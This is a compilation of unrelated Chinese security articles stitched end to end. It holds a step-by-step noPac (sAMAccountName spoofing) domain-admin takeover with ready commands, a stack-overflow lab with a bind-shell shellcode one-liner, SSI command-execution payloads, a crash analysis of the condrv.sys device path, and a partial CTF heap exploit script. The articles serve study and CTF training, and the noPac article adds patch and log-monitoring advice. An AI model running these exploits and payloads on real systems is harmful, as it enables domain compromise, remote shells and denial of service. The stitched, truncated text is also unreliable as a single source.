FILETIME LogoffTime;
FILETIME KickOffTime;
FILETIME PasswordLastSet;
FILETIME PasswordCanChange;
FILETIME PasswordMustChange;
RPC_UNICODE_STRING EffectiveName;
RPC_UNICODE_STRING FullName;
RPC_UNICODE_STRING LogonScript;
RPC_UNICODE_STRING ProfilePath;
RPC_UNICODE_STRING HomeDirectory;
RPC_UNICODE_STRING HomeDirectoryDrive; USHORT LogonCount;
USHORT BadPasswordCount;
ULONG UserId;
ULONG PrimaryGroupId;
ULONG GroupCount;
[size_is(GroupCount)] PGROUP_MEMBERSHIP GroupIds; ULONG UserFlags;
USER_SESSION_KEY UserSessionKey;
RPC_UNICODE_STRING LogonServer;
RPC_UNICODE_STRING LogonDomainName;
PISID LogonDomainId;
ULONG Reserved1[2];
ULONG UserAccountControl;
ULONG SubAuthStatus;
FILETIME LastSuccessfulILogon;
FILETIME LastFailedILogon;
ULONG FailedILogonCount;
ULONG Reserved3;
ULONG SidCount;
[size_is(SidCount)] PKERB_SID_AND_ATTRIBUTES ExtraSids;
PISID ResourceGroupDomainSid;
ULONG ResourceGroupCount;
[size_is(ResourceGroupCount)] PGROUP_MEMBERSHIP ResourceGroupIds;
} KERB_VALIDATION_INFO;
主要看UserId、GroupCount和GroupId字段：
Userid：域SID+用户RID（用户SID）
GroupCount：包含帐户所属帐户域内的组数。
GroupID：指向GROUP_MEMBERSHIP
GroupIds结构列表的指针，其中包含帐户域中帐户所属的组。此列表中的组数必须等于GroupCount。其中513为域用户，512、520、518、519
是域管组。
`MS14068就是将高权限的GroupId插入到伪造的PAC中从而提升权限达到接管域的目的。`
TGT包含PAC，定位到ticket→enc-part→PAC_LOGON_INFO
Domain Computers的Group RID都为515，现在的PAC代表申请的是机器账户身份。
**TGS-REQ：**
`将sAMAccountName为DC2的机器账户改为其他任意值，申请其ST`
1.客户端信息
2.Authenticator(Login Session Key加密时间戳)
3.TGT认购权限
4.访问的服务名
TGSREQ携带ap-req，利用as-rep获取到的TGT票据并用上S4U2Self拓展，以administrator的身份请求DC2
cifs服务的ST票据。
上图中的ticket和as-rep返回的ticket都是TGT票据，client用此进行TGS相关后续认证。
* * *
**S4U2Self**
S4U包括和S4U2self和S4U2proxy。S4U2proxy允许服务代表用户获得不同服务的服务票证的扩展，通常用于服务进行委派，这里不再叙述，有兴趣可以看关于委派相关的章节。
这个漏洞出在S4U2Self上，先来了解一下认证流程。
`服务可以使用S4U2self将票证检索到自身，允许服务代表用户向自身获取Kerberos服务票据，包含用户的组，因此可用来授权，且S4U2self扩展可用于获取PAC，以确定用户是否对服务具有访问权限。`
下图描述了从服务处理TGS的S4U2self TGS-REQ消息。
1.服务使用S4U2self扩展来代表用户向自身检索服务票证。该服务填写PA-FOR-USER数据结构，并向TGS发送TGS-REQ。
2.如果TGS支持PA-FOR-USER扩展，TGS在TGS-REP中返回用户的ST票据。ST返回的PAC包含授权数据。
**PA-FOR-USER结构：**
PA-FOR-USER ::= SEQUENCE {
-- PA TYPE 129
userName [0] PrincipalName,
userRealm [1] Realm,
cksum [2] Checksum,
auth-package [3] KerberosString
}
PA-FOR-USER由四个字段组成：userName、userRealm、cksum和auth-package。
userName为用户的名称，默认名称类型为NT-UNKNOWN。
userRealm是用户帐户的当前域。
auth-package字段必须设置为字符串“Kerberos”，并且不区分大小写。
cksum为前三者的校验和。使用KERB_CHECKSUM_HMAC_MD5函数计算。
在微软官方文档中提到：
`如果KDC支持PAC，KDC必须将S4U填充的字段从TGT中的PAC复制到新创建的PAC，并在处理其支持的所有字段后，
KDC必须生成新的服务器签名和KDC签名，以替换PAC中的现有签名字段。`
即在S4U阶段创建了新的PAC，而新生成的PAC为后面的漏洞利用提供了充分条件。
**TGS-REP：**
1.检查自身是否存在服务，如果存在，通过krbtgt解密TGT并通过Login Session Key解密Authenticator(Login
Session Key加密时间戳)，就验证了对方身份。然后验证时间戳是否在范围内，并且验证TGT中的时间戳是否过期，原始地址是否和TGT保存的地址相同等。
2.生成用AS-REP得到的Login Session Key加密后的用于确保安全传输的 **Server Session Key** 。
3.完成认证后，TGS生成ST票据，其中包括：客户端信息和原始的Server Session Key，`整个ST票据由该服务的NTLM Hash加密。`
4.将 **ST和Server Session Key** 发送给客户端。
结果可以看到在S4U2Self拓展在TGS-REQ中生成了新的高权限PAC用于访问申请的服务。
在申请ST票据时，kerberos找不到DC2这个用户，由于是机器账户会触发fallback自动添加$变为DC2$。 结果在 ST
中使用域控的密钥进行加密，进而可以模拟域控上任意服务的任意用户进行访问登陆。
由此可见S4U2Self阶段是漏洞触发的关键点，如果没有S4U2Self就不会生成新的高权限PAC，流程没有任何问题，只是在这之后没有做好鉴权：`PAC没有原始请求者的信息、KDC没有识别高权限ST作用于哪个机器账户`，从而产生了漏洞。
## 0x04 漏洞利用
### 整体流程
`假设域内DC机器名为DC1$`
1.利用域用户创建域机器Evil。
2.清除Evil的SPN属性。
3.将域机器Evil的sAMAccountName属性更改为DC1(不带$)。
4.为Evil请求TGT，随后将其sAMAccountName更改为其他名字(除DC1均可)。
5.通过S4U2self向KDC请求DC1的ST票据(可以任意指定service类型)；KDC找不到DC1这个机器账号,在DC1后面自动添加$匹配为DC1$(域控),从而返回域控机器账户代替DC1
的ST票证。
### 利用步骤
**1.利用域用户创建域机器Evilsystem**
域内任意域用户默认可以添加10台域机器，这是用于加域的正常功能，在LDAP中呈现的字段为ms-DS-MachineAccountQuota的值。
(1)powermad：
默认`会`自动为其创建机器注册SPN
以任意普通域用户创建一个名为Evilsystem，密码为1qaz[@WSX](https://github.com/WSX "@WSX")的域机器
`New-MachineAccount -MachineAccount Evilsystem -Password $(ConvertTo-SecureString "1qaz[@WSX](https://github.com/WSX "@WSX")" -AsPlainText -Force)`
(2)addcomputer.py
默认`不会`自动为其创建机器注册SPN
**2.清除Evilsystem的servicePrincipalName属性(addcomputer.py添加机器用户省略这一步骤)**
`Set-DomainObject "CN=Evilsystem,CN=Computers,DC=redteam,DC=lab" -Clear
'serviceprincipalname' -Verbose`
**3.将域机器Evilsystem的sAMAccountName属性更改为DC1(不带$)**
`Set-MachineAccountAttribute -MachineAccount "Evilsystem" -Value "DC1"
-Attribute samaccountname -Verbose`
**4.为Evilsystem请求TGT，随后将sAMAccountName更改为其他名字(除DC1均可)**
`Rubeus.exe asktgt /user:"DC1" /password:"1qaz[@WSX](https://github.com/WSX
"@WSX")" /domain:"redteam.lab" /dc:"DC1.redteam.lab" /nowrap`
`Set-MachineAccountAttribute -MachineAccount "Evilsystem" -Value "EvilEvil"
-Attribute samaccountname -Verbose`
**5.通过S4U2self向KDC请求DC1的ST票据(可以任意指定service类型)**
在这里模拟了administrator用户访问DC1上cifs服务的ST票据，[这可以是域中任何系统上任何服务上的任何用户](https://adsecurity.org/?page_id=183)。
（也可以申请host服务票据直接添加用户，或者直接申请ldap的票据进行dcsync。）
`Rubeus.exe s4u /self /impersonateuser:"administrator"
/altservice:"cifs/DC1.redteam.lab" /dc:"DC1.redteam.lab" /ptt
/ticket:doIEujCCBLag..`
验证结果
**公开EXP利用：**
<https://github.com/cube0x0/noPac>
`noPac.exe -domain redteam.lab -user carn1 -pass Qq123456.. /dc
dc1.redteam.lab /mAccount Evils /mPassword 1qaz[@WSX](https://github.com/WSX
"@WSX") /service cifs /ptt`
### 其他利用场景
`漏洞利用的最终条件就是在域控没打补丁的情况下，能够修改任意域机器的SPN和sAMAccountName属性进行滥用。`
**1.林信任利用**
[Charlie Clark在后面的文章中展示了林信任的利用方式](https://exploit.ph/more-samaccountname-impersonation.html)
A域和B域互相信任，如果有A域a用户的权限，可以利用信任关系在B域创建计算机账户达到漏洞利用。
**2.MAQ=0利用**
`前面的利用基于MAQ(MachineAccountQuota)创建域机器来实现，如果限制MAQ，有以下思路：`
( **1).CreatorSID**
按照微软的ACL规定，创建者即为所有者，所有者必定拥有完全控制权限，当然包括更改名称等一系列属性。
利用MAQ创建域机器利用的方式其实就是利用了CreatorSID属性，在一些域内有专门拉机器账户进域的用户，比如carn1用户将demo123机器拉入域内，则demo123的CreatorSID指向carn1。
通过SID查询Creator
`AdFind.exe -f "(&(objectsid=S-1-5-21-2588586899-1821113704-3426516109-2603))"
objectclass cn dn`
查询carn1对demo123的ACL权限
`AdFind.exe -b "CN=demo123,CN=Computers,DC=redteam,DC=lab"
nTSecurityDescriptor -sddlfilter ;;;;;"carn1" -sddl+++ -recmute`
在拿到一个域用户权限后，可以遍历LDAP查找具有CreatorSID属性的域机器和对应的域用户，如果我们已经有了对应的域用户权限，就可以利用这个用户修改对应域机器的属性来进行漏洞利用。
查找每个域机器的加域账号<br />`AdFind.exe -b “DC=redteam,DC=lab” -f
“(&(samAccountType=805306369))” cn mS-DS-CreatorSID`
通过用户的sid查看哪些域机器是通过自己加入到域内的：
`AdFind.exe -b "DC=redteam,DC=lab" -f "(&(samAccountType=805306369)(mS-DS-CreatorSID=UserSid))" cn sAMAccountType objectCategory`
( **2).ACL权限**
域内拿到A用户权限后，遍历ACL发现其对域机器B有 GenericAll /
GenericWrite等权限，可以通过A直接修改B的属性利用。遍历ACL分析通常用在穷途末路的时候，更适合做一个后门使用，具体使用依情况而定。
## 0x05 漏洞修复
1.打[KB5008102](https://support.microsoft.com/en-us/topic/kb5008102-active-directory-security-accounts-manager-hardening-changes-cve-2021-42278-5975b463-4c95-45e1-831a-d120004e258e)，
[KB5008380](https://support.microsoft.com/en-us/topic/kb5008380-authentication-updates-cve-2021-42287-9dafac11-e0d0-4cb8-959a-143bd0201041)补丁。
2.MAQ(MachineAccountQuota)属性值设为0。
3.遍历域内并清除相关可能被利用的ACL。
4.创建名为`PacRequestorEnforcement`type`REG_DWORD`的注册表`HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Kdc`，并为其值设为`2`，这样的话旧的TGT就不再起作用，让入侵者以前生成的凭据无效。
## 0x06 日志分析
1.创建机器账号产生4741事件
2.删除SPN产生4742事件
3.将sAMAccountName改为DC1产生4781事件
4.申请TGT并改名产生4768、4781事件
5.通过S4U获取ST产生4769事件
在上述日志中，TGT和ST的申请在域内太过频繁、如果是通过impacket中的addcomputer.py添加的机器账号默认不会包含SPN、所以可随时监控4741(创建机器账号产生)、4781(更改sAMAccountName名称)来确保域内没有被滥用此漏洞，当然最重要的还是对漏洞进行修复。
## 0x07 参考
<https://exploit.ph/cve-2021-42287-cve-2021-42278-weaponisation.html>
<https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing>
<https://www.netspi.com/blog/technical/network-penetration-testing/machineaccountquota-is-useful-sometimes/>
<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-pac/166d8064-c863-41e1-9c23-edaaa5f36962>
<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-apds/1d1f2b0c-8e8a-4d2a-8665-508d04976f84>
<https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/1fb9caca-449f-4183-8f7a-1a5fc7e7290a?redirectedfrom=MSDN> | 社区文章 |
# 灰帽黑客进阶秘籍之一——Linux栈溢出入门实战篇
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
大家好，上一篇文章小弟发表/解了一个简单的pwn，剩下的2个level也已经有小伙伴帮忙解题了，感觉大家好像都挺喜欢该类型的。这次小弟打算开始写一个新的系列文章，如果写的不好，或者有什么意见、建议欢迎各位大佬点评。本篇文章为入门篇故仅提供了8个level的栈溢出练习实验，
**均未开启任何保护的** 。后面的文章会进一步升级。
## 下载、实验环境
实验代码下载：<https://pan.baidu.com/s/16bpbJoI5qdWctH3n6owqnw>
实验环境：ubuntu 4.15
辅助插件：Peda 下载地址：<https://github.com/longld/peda>
## 开始实验
本次实验环境分别为 level0-level7 均提供了源码和编译好的程序
### level0
我们先查看一下c源码：
通过源码可以看出存在明显的栈溢出漏洞，我们先来运行看看，
通过简单的输入12个A和6个6，可以看到我们还是没有成功，
当我们输入70个‘A’时，发现程序弹出 我们已经能成功更改‘modified’变量了。
### level1
查看源码：
下面我们运行一个这个程序，当我们不带任何字符时，程序给出
说明我们还在“argc”代码块。
当我们运行并带入20个“A”时，程序给出
说明我们已经来到了“modified”函数出，但是我们还没到溢出点。
当我们运行并带入70个“A”时，程序给出
说明我们已经来到了“modified”函数出，并且我们也已经找到到溢出点。
（此处的0x41414141 为ascii码的 大写“A”）
通过上面简单的调试，我们就知道该怎么做了，如图：
### level2
查看源码：
下面我们运行一个这个程序，当我们不带任何字符时，程序给出
请让我们设置 ‘GREENIE’的环境变量，我们搜索一下看看本系统有没有，如图：
可以看到在该系统中并没有设置定义，下面我们就设置一下看看
本次就写了一个python，运行
### level3
我们查看一下源码：
下面我们运行一下这个程序看看，
通过输入70个“A”，可以发现程序接收了我们的输入，并成功控制了内存地址指针，但是我们还是在main下的‘fp’函数判断处，通过源代码我们知道有个‘win’函数，我们查看一下
通过 objdump 搜索到了，该函数的地址 “0x08048424”
（这里小伙伴们也可以使用IDA搜索）
下面我们就直接利用了
如图，我们已经成功控制内存地址跳转到win函数并执行。
### level4
我们查看一下源码：
可以看到源码里的‘win’函数被定义了，但是没有被程序直接调用，该等级还是一样，我们要控制内存指针到win函数运行。
下面我们开始如何判断偏移量，需要借助 gdb工具的 peda插件，能帮助我们节省很多工作
1.用gdb加载该level，并使用 “pattern_create” 来生产80个规律且均不一样的字符
2.使用 run 运行该程序，并输入刚刚生产的字符，回车
3.eip成功被改为 0x41344141
4.通过 “pattern_offset” 得出偏移量为 76个字节
最后我们确认一下该偏移量是否正确，如图：
可以看到溢出位是正确的，下面我们跟上面一样继续搜索 ‘win’函数的地址
最后利用成功：
### level5
我们查看一下源码：
下面老规矩，我们来确定偏移量，操作如图：
这里为什么要生产200个字符哪？因为我们要往内写入shellcode，所以我们要判断一下大概能写入多少字节，防止shellcode过大，无法放入的问题，
如图：
可以看到刚刚生产的200个字符，覆盖掉偏移量后剩下的字符被成功放入，其实地址从 0xffffd0c8 – 0xffffd050 = 0x78
转化为十进制刚刚好是120个字节，故我们能写入一些正常的shellcode（msf生成的大部分为100个字节左右），
下一步我们就是直接编写exploit的了，如图：
76个‘A’后面跟的是ESP的地址上图有，后面带入10个‘nop’空指令（防止我们的shellcode被破坏），最后为shellcode代码
输出到s5.txt文件内，（该段shellcode代码为在本机开启1337端口等待链接
（其他更多功能shellcode，请移步[https://www.exploit-db.com/shellcodes））](https://www.exploit-db.com/shellcodes%EF%BC%89%EF%BC%89)
下面我们让程序来加载s5.txt运行
我们确认一下shellcode是否成功被执行，查看一下：
本机1337端口成功被打开并等待链接，我们使用nc链接并成功拿到shell
### level6
我们查看一下源码：
下面老规矩，我们来确定偏移量，操作如图：
偏移量为80，下面我们来确认一下偏移量是否正确，
通过测试可以看到偏移量是对的，我们也能成功控制ESP，下面我们来确认查看写入内存空间的大小，如图：
可以看到一大堆，那写shellcode就够了，小弟懒就不去算了。。。
下面重点来了，这里可以看到我们的源代码处要求我们在0xbf00000内找ret，但是我们这里的环境没有这个地址，那怎么办呢？各位请注意，它不是要‘ret’吗？那我们就找一下本地系统的ret给它啊，反正我们不是也能控制指令吗？那么如图：
可以看到我们找到很多，这里就随便挑一个吧，所以我们这里的exp是这样的：
echo `python -c "print
'A'*80+'x5fx83x04x08'+'x44xd0xffxff'+'x90'*10+'x6ax66x58x6ax01x5bx31xf6x56x53x6ax02x89xe1xcdx80x5fx97x93xb0x66x56x66x68x05x39x66x53x89xe1x6ax10x51x57x89xe1xcdx80xb0x66xb3x04x56x57x89xe1xcdx80xb0x66x43x56x56x57x89xe1xcdx80x59x59xb1x02x93xb0x3fxcdx80x49x79xf9xb0x0bx68x2fx2fx73x68x68x2fx62x69x6ex89xe3x41x89xcaxcdx80'"`
> s6.txt
我们执行后，成功拿到shell
### level7
我们先查看一下源码
下面老规矩，我们来确定偏移量，操作如图：
‘ret’地址查找
下面我们来写个规范一点exploit脚本，如图：
（注：小弟在写这个exp的时候虚拟机重启一下，故 esp地址发生的改变，只需要获取新地址修改一下即可。shellcode为上面那个）
下面运行脚本，加载执行文件，如图：
成功拿到shell。
最后再说一下，本次文章中的前面几个level，均未开启任何保护，如图：
level7:
level1:
## 结语
通过本章的学习，相信小伙伴们也都能理解什么叫栈溢出，栈溢出是怎么调试操作的，希望各位小伙伴们也在自己环境中调试实验，希望小伙伴们都能理解，因为后面的文章难度会加高。最后祝您及家人生活愉快，新春快乐！！
：） | 社区文章 |
**0x00 起因**
中午临近吃饭的日子，小冰突然发了二条微信
新社区上了还是很期待的，这说明有事情可以搞。抱着少一事，不如多一事的想法。我们就可以开始测试了。
**0x01 前言**
在测试的过程中发现了是阿里的oss
可以初步猜测，开发小哥应该是错误的认为文件托管在oss就可以忽略站内的上传功能存在的安全隐患。先说明这是一篇看起来好像很厉害，实际并没有没有没有没有没有那么大危害的漏洞，开发为了产品跨域时设置了set-cookie: *.xianzhi.aliyun.com
那攻击者就可以拿着img-oss.xianzhi.aliyun.com/xxx.html
找对应的场景发给公司的员工（例如发给小冰）,打开后cookie可能就被“借”走做一些羞羞的事情。
（上面的字，抄的）
**0x02 漏洞复现**
**0x03 解决方案**
虽然真滴没有什么用处，不过后端最好校验一下文件后缀类型,我的建议最好设置白名单,而不是基于黑名单~~~
**0x04 彩蛋-SSI服务器端指令**
PS:这个姿势是在先知技术社区看的 t00ls论坛转载的。
shtml用的是SSI指令，SSI是为WEB服务器提供的一套命令，这些命令只要直接嵌入到HTML文档的注释内容之中即可。
<!--#include file="/home/www/xxxxx/index.html"--> //可以用来读文件
<!--#exec cmd="ifconfig"--> //可以用来执行命令
<!--#include virtual="/includes/header.html" --> //也是读文件 与FILE不同他支持绝对路径和../来跳转到父目录 而file只能读取当前目录下的 | 社区文章 |
**作者：[lu4nx](https://www.shellcodes.org/)@知道创宇404积极防御实验室
时间：2021年1月25日**
最近比较火的一个漏洞，Windows 10 中通过浏览器等途径直接访问路径
\\\\.\globalroot\device\condrv\kernelconnect 时，会导致系统蓝屏。
## 漏洞分析
在「此电脑」 > 「属性」 >
「高级系统设置]，选择「启动和故障恢复」的「设置」，设置「写入调试信息」为「小内存转储（256KB）」，然后访问路径：\\\\.\globalroot\device\condrv\kernelconnect。蓝屏后重启系统，用
WinDbg 载入 C:\Windows\Minidump 下的刚转储的 .dmp 文件，并执行：
!analyze -v
从输出结果中找到调用栈，如下：
PROCESS_NAME: explorer.exe
STACK_TEXT:
ffffd28c`2d35d2d0 fffff805`47037159 : 00000000`00000000 fffff805`4703704d 00000000`00000000 00000000`00000000 : condrv!CdpDispatchCleanup+0x1f
ffffd28c`2d35d300 fffff805`475d87b8 : 00000000`00000000 ffff8909`f300e080 00000000`00000000 ffff8909`f04cf9a0 : nt!IofCallDriver+0x59
ffffd28c`2d35d340 fffff805`47601ddc : 00000000`00000000 ffffd28c`2d35d890 00000000`00000000 00000000`00000000 : nt!IopCloseFile+0x188
ffffd28c`2d35d3d0 fffff805`475f666f : ffff8909`eff699f0 00000000`00000000 ffff8909`eb813490 00000000`00000001 : nt!IopParseDevice+0x1f3c
ffffd28c`2d35d540 fffff805`475f4ad1 : ffff8909`eb813400 ffffd28c`2d35d788 00000000`00000040 ffff8909`e9cbd140 : nt!ObpLookupObjectName+0x78f
ffffd28c`2d35d700 fffff805`476b1afb : ffff8909`00000001 00000000`1034d0a0 00000000`00000001 00000000`1034e25c : nt!ObOpenObjectByNameEx+0x201
ffffd28c`2d35d840 fffff805`471d5355 : ffff8909`f0ee5080 00000000`00000000 ffff8909`f0ee5080 00000000`1034e25c : nt!NtQueryAttributesFile+0x1eb
ffffd28c`2d35db00 00007ffa`a4ddce94 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : nt!KiSystemServiceCopyEnd+0x25
00000000`1034d038 00000000`00000000 : 00000000`00000000 00000000`00000000 00000000`00000000 00000000`00000000 : 0x00007ffa`a4ddce94
最终执行到以下指令时引发蓝屏：
condrv!CdpDispatchCleanup+0x1f
查看 condrv!CdpDispatchCleanup+0x1f 的汇编代码：
1: kd> u condrv!CdpDispatchCleanup+0x1f
condrv!CdpDispatchCleanup+0x1f:
fffff805`8e31b04f 488b01 mov rax,qword ptr [rcx]
fffff805`8e31b052 4c8b4820 mov r9,qword ptr [rax+20h]
fffff805`8e31b056 4d85c9 test r9,r9
fffff805`8e31b059 7521 jne condrv!CdpDispatchCleanup+0x4c (fffff805`8e31b07c)
fffff805`8e31b05b 33c9 xor ecx,ecx
fffff805`8e31b05d 894a30 mov dword ptr [rdx+30h],ecx
fffff805`8e31b060 48894a38 mov qword ptr [rdx+38h],rcx
fffff805`8e31b064 33d2 xor edx,edx
注意第一句 mov 的寻址地址取的是 RCX 寄存器中的值，从上面的分析结果就翻到发生事故时各个寄存器的值：
CONTEXT: ffffd28c2d35c8e0 -- (.cxr 0xffffd28c2d35c8e0)
rax=ffff8909f04cfab8 rbx=ffff8909f300e080 rcx=0000000000000000
rdx=ffff8909f04cf9a0 rsi=0000000000000000 rdi=ffff8909f04cf9a0
rip=fffff8058e31b04f rsp=ffffd28c2d35d2d0 rbp=0000000000000000
r8=ffff8909f04cf9a0 r9=ffff8909eff699f0 r10=fffff8058e31b030
r11=0000000000000000 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=ffff8909eff699f0
iopl=0 nv up ei ng nz na pe nc
cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010282
condrv!CdpDispatchCleanup+0x1f:
fffff805`8e31b04f 488b01 mov rax,qword ptr [rcx] ds:002b:00000000`00000000=????????????????
可以看到 RCX 指向的空地址，当 mov 指令寻址时，由于 RCX 为空地址，因此引发了空指针异常导致蓝屏。
查看 CdpDispatchCleanup 函数完整的汇编代码：
1: kd> uf condrv!CdpDispatchCleanup
condrv!CdpDispatchCleanup:
fffff805`8e31b030 4883ec28 sub rsp,28h
fffff805`8e31b034 488b82b8000000 mov rax,qword ptr [rdx+0B8h]
fffff805`8e31b03b 4c8bc2 mov r8,rdx
fffff805`8e31b03e 488b4830 mov rcx,qword ptr [rax+30h]
fffff805`8e31b042 4885c9 test rcx,rcx
fffff805`8e31b045 0f84250e0000 je condrv!CdpDispatchCleanup+0xe40 (fffff805`8e31be70) Branch
condrv!CdpDispatchCleanup+0x1b:
fffff805`8e31b04b 488b4918 mov rcx,qword ptr [rcx+18h]
fffff805`8e31b04f 488b01 mov rax,qword ptr [rcx]
fffff805`8e31b052 4c8b4820 mov r9,qword ptr [rax+20h]
fffff805`8e31b056 4d85c9 test r9,r9
fffff805`8e31b059 7521 jne condrv!CdpDispatchCleanup+0x4c (fffff805`8e31b07c) Branch
condrv!CdpDispatchCleanup+0x2b:
fffff805`8e31b05b 33c9 xor ecx,ecx
fffff805`8e31b05d 894a30 mov dword ptr [rdx+30h],ecx
fffff805`8e31b060 48894a38 mov qword ptr [rdx+38h],rcx
fffff805`8e31b064 33d2 xor edx,edx
fffff805`8e31b066 498bc8 mov rcx,r8
fffff805`8e31b069 48ff15a8b0ffff call qword ptr [condrv!_imp_IofCompleteRequest (fffff805`8e316118)]
fffff805`8e31b070 0f1f440000 nop dword ptr [rax+rax]
fffff805`8e31b075 33c0 xor eax,eax
condrv!CdpDispatchCleanup+0x47:
fffff805`8e31b077 4883c428 add rsp,28h
fffff805`8e31b07b c3 ret
condrv!CdpDispatchCleanup+0x4c:
fffff805`8e31b07c 8b10 mov edx,dword ptr [rax]
fffff805`8e31b07e 498bc1 mov rax,r9
fffff805`8e31b081 482bca sub rcx,rdx
fffff805`8e31b084 498bd0 mov rdx,r8
fffff805`8e31b087 ff152bb2ffff call qword ptr [condrv!_guard_dispatch_icall_fptr (fffff805`8e3162b8)]
fffff805`8e31b08d ebe8 jmp condrv!CdpDispatchCleanup+0x47 (fffff805`8e31b077) Branch
condrv!CdpDispatchCleanup+0xe40:
fffff805`8e31be70 33c9 xor ecx,ecx
fffff805`8e31be72 c742300d0000c0 mov dword ptr [rdx+30h],0C000000Dh
fffff805`8e31be79 48894a38 mov qword ptr [rdx+38h],rcx
fffff805`8e31be7d 33d2 xor edx,edx
fffff805`8e31be7f 498bc8 mov rcx,r8
fffff805`8e31be82 48ff158fa2ffff call qword ptr [condrv!_imp_IofCompleteRequest (fffff805`8e316118)]
fffff805`8e31be89 0f1f440000 nop dword ptr [rax+rax]
fffff805`8e31be8e b80d0000c0 mov eax,0C000000Dh
fffff805`8e31be93 e9dff1ffff jmp condrv!CdpDispatchCleanup+0x47 (fffff805`8e31b077) Branch
主要关注触发空指针异常的那段逻辑代码：
fffff805`8e31b034 488b82b8000000 mov rax,qword ptr [rdx+0B8h]
fffff805`8e31b03b 4c8bc2 mov r8,rdx
fffff805`8e31b03e 488b4830 mov rcx,qword ptr [rax+30h] // RCX 是 RAX 指向的结构体成员
fffff805`8e31b042 4885c9 test rcx,rcx
fffff805`8e31b045 0f84250e0000 je condrv!CdpDispatchCleanup+0xe40 (fffff805`8e31be70)
fffff805`8e31b04b 488b4918 mov rcx,qword ptr [rcx+18h] // RCX+18h 是 RCX 的成员变量
fffff805`8e31b04f 488b01 mov rax,qword ptr [rcx] // 由于这里没判断 RCX+18h 是否为空，导致 bug 发生
从对 RDX、RAX、RCX 指针的偏移引用来看，这 3 个寄存器应该是都是指向的结构体，而 RCX+18h 这个成员变量指向的空地址。
CdpDispatchCleanup 是派遣函数，只有需要处理 IRP 时才会调用；而 RCX+18h 这个成员函数为 0
应该赋值失败导致的，所以觉得问题应该出现在创建分发函数时出的问题。
把 C:\Windows\System32\drivers\condrv.sys 拖到 Ghidra
里去分析，根据"\KernelConnect"路径找到对应的创建函数 CdCreateKernelConnection：
longlong * CdCreateKernelConnection(PIRP irp)
{
...省略..
if (irp->RequestorMode != '\0') {
return (longlong *)0xc0000022;
}
lVar4 = *(longlong *)&(irp->Tail).field_0x40;
puVar9 = CdpFindEaBufferItem(*(uint **)((longlong)&irp->AssociatedIrp + 4),"attach");
if ((puVar9 == (uint *)0x0) || (*(short *)((longlong)puVar9 + 6) != 8)) {
return (longlong *)0xc000000d;
}
...省略...
}
根据"参考文章"中的提点，找到了漏洞触发的原因是这段：
if (irp->RequestorMode != '\0') {
return (longlong *)0xc0000022;
}
I/O 控制函数都会返回一个状态码，参考 <https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55>
十六进制对应的状态码，0xc0000022 对应为 STATUS_ACCESS_DENIED，这段逻辑代码用来判断 irp->RequestorMode
是否来自应用层，对于应用层的访问则返回 STATUS_ACCESS_DENIED 来拒绝，但是这里没有调用 IoCompleteRequest
来结束请求，因此才导致来后面会调用到派遣函数 CdpDispatchCleanup。正确的写法应该类似为：
if (irp->RequestorMode != '\0') {
irp->IoStatus.Status = STATUS_ACCESS_DENIED;
IoCompleteRequest(irp, IO_NO_INCREMENT);
return STATUS_ACCESS_DENIED;
}
## 参考
《关于此次condrv.sys拒绝服务漏洞分析》：<https://www.secpulse.com/archives/151714.html>
* * * | 社区文章 |
# Roarctf 部分Writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## pwn
### easypwn
程序有后门规则，直接利用该规则就行利用即可。
__int64 __fastcall sub_E26(signed int size, unsigned int c_size)
{
__int64 result; // rax
if ( size > (signed int)c_size )
return c_size;
if ( c_size - size == 10 )
LODWORD(result) = size + 1;
else
LODWORD(result) = size;
return (unsigned int)result;
}
脚本：
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
import os
import struct
import random
import time
import sys
import signal
salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''
def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)
for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)
# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''
# '''
# f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)
context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'debug'
execve_file = './easypwn'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('39.97.182.233', 30099)
elf = ELF(execve_file)
# libc = ELF('./libc-2.23.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# Create temporary files for GDB debugging
try:
gdbscript = '''
'''
f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
pass
def create(size):
sh.sendlineafter(': ', '1')
sh.sendlineafter(': ', str(size))
def edit(index, size, content):
sh.sendlineafter(': ', '2')
sh.sendlineafter(': ', str(index))
sh.sendlineafter(': ', str(size))
sh.sendafter(': ', content)
def drop(index):
sh.sendlineafter(': ', '3')
sh.sendlineafter(': ', str(index))
def show(index):
sh.sendlineafter(': ', '4')
sh.sendlineafter(': ', str(index))
create(0x18)
create(0x18)
create(0x68)
create(0x18)
edit(0, 0x18 + 10, 'a' * 0x18 + p8(0x91))
drop(1)
create(0x18) # 1
show(2)
sh.recvuntil('content: ')
result = sh.recvn(8)
libc_addr = u64(result) - 0x3c4b78
log.success('libc_addr: ' + hex(libc_addr))
